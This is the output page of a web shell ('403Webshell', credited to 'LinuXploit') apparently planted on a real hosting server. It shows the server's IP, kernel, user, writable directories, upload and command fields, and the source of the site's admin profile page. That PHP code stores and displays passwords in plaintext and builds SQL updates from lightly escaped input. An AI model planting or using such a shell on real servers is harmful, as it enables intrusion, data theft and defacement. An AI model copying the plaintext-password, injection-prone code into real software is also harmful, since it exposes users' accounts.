403Webshell
Server IP : 89.46.109.6  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux hlpi1ws-c284s07.ad.aruba.it 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User : ID19067310 ( 19067310)
PHP Version : 5.3.29
Disable Function : system,popen,dl,passthru,proc_open,shell_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /web/htdocs/www.edizacco.it/home/pannello/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /web/htdocs/www.edizacco.it/home/pannello/profilo.php
<?php 
ob_start();
@session_start();
require_once('../include/connect_db.php');
require_once('include/templates.php');
include('include/sessione.inc.php');
require_once 'include/class.ycpager.php';
$meta_title = TITLE;
$_SESSION['page'] = "null";
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title><?php echo"$meta_title | Area Riservata"; ?></title>
<link href="css/master.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="js/form_control.js"></script>
<!-- MOSTRA NASCONDI PASSWORD -->
<script src="js/jquery.min.js" type="text/javascript"></script>
<script src="js/show_password.js"></script>
<script>
$(document).ready(function() {
  $(':password').showPassword({
    linkRightOffset: 60,
    linkTopOffset: -3
  });
});
</script>
<!-- MOSTRA NASCONDI PASSWORD -->
</head>

<body>
<!-- WRAPPER INIZIO -->
<div id="wrapper">

	<!-- WRAPPER HEADER INIZIO-->
	<div id="wrapper_header">
		<div id="header"><?php select_header(); ?></div>
	</div>
	<!-- WRAPPER HEADER FINE-->

	<!-- WRAPPER CONTAINER INIZIO-->
	<div id="wrapper_container">
	
		<!-- MENU INIZIO-->
		<div id="menu"><?php select_menu(); ?></div>
		<!-- MENU FINE-->
		
		<!-- CONTENUTI INIZIO-->
		<div id="contenuto">
			<h1>Modifica i miei dati</h1>
			<?php
				// GESTIONE PAGINA
				if ( isset($_REQUEST['action']) ) {	$action = $_REQUEST['action']; } else {	$action = "profilo"; }
				
				switch ($action) {
					case 'profilo': profilo(); break;
					case 'save': save(); break;
					default: profilo(); break;
				}
				///////////////////////////////////////////////////////////////////////////////////////////
				/// PROFILO ///////////////////////////////////////////////////////////////////////////////
				///////////////////////////////////////////////////////////////////////////////////////////
				function profilo(){
					$prefix = PREFIX;
					$account_id_login = $_SESSION['pann_id_login'];
					$carica_profilo = mysql_fetch_assoc(mysql_query("SELECT * FROM ".$prefix."_login WHERE id_login = '$account_id_login'"));
					echo'
						<form action="profilo.php?action=save" method="post" enctype="multipart/form-data" name="modulo" id="modulo" onsubmit="return OkProfilo(this)">
							<p><label class="label">Username:</label><input name="username" type="text" class="input" value="'.htmlspecialchars(stripslashes($carica_profilo['username'])).'" /></p>
							<p><label class="label">Password:</label><input name="password" type="password" class="input" value="'.htmlspecialchars(stripslashes($carica_profilo['password'])).'"/></p>
							<p><label class="label">Nickname:</label><input name="nickname" type="text" class="input" value="'.htmlspecialchars(stripslashes($carica_profilo['nickname'])).'"/></p>
							<p><label class="label">Email:</label><input name="email" type="text" class="input" value="'.htmlspecialchars(stripslashes($carica_profilo['email'])).'"/></p>
							<p>&nbsp;</p>
							<p><label class="label"></label><input type="submit" name="submit" id="submit" value="MODIFICA" /></p>
						</form>
					';
				}
				///////////////////////////////////////////////////////////////////////////////////////////
				/// SAVE //////////////////////////////////////////////////////////////////////////////////
				///////////////////////////////////////////////////////////////////////////////////////////
				function save(){
					$prefix = PREFIX;
					$account_id_login = $_SESSION['pann_id_login'];
					$username = addslashes($_POST['username']);
					$password = addslashes($_POST['password']);
					$nickname = addslashes($_POST['nickname']);
					$email = addslashes($_POST['email']);
					mysql_query("UPDATE ".$prefix."_login SET username = '$username', password = '$password', nickname = '$nickname', email = '$email' WHERE id_login = '$account_id_login'");
					echo'	
						<div id="status">
							<p align="center"><b>SALVATAGGIO DATI IN CORSO!</b></p>
							<p align="center"><img src="images/attesa.gif" alt="" /></p>
							<p align="center"> ATTENDERE PREGO</p>
						</div>
					';
					header('Refresh: 2; URL=index.php?action=logout');
					ob_end_flush();
				}
			?>
		</div>
		<!-- CONTENUTI FINE-->
	</div>
	<!-- WRAPPER CONTAINER FINE-->

	<div class="push"></div>
</div>
<!-- WRAPPER FINE -->


<!-- WRAPPER FOOTER INIZIO-->
<div id="wrapper_footer"><?php select_footer(); ?></div>
<!-- WRAPPER FOOTER FINE-->

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit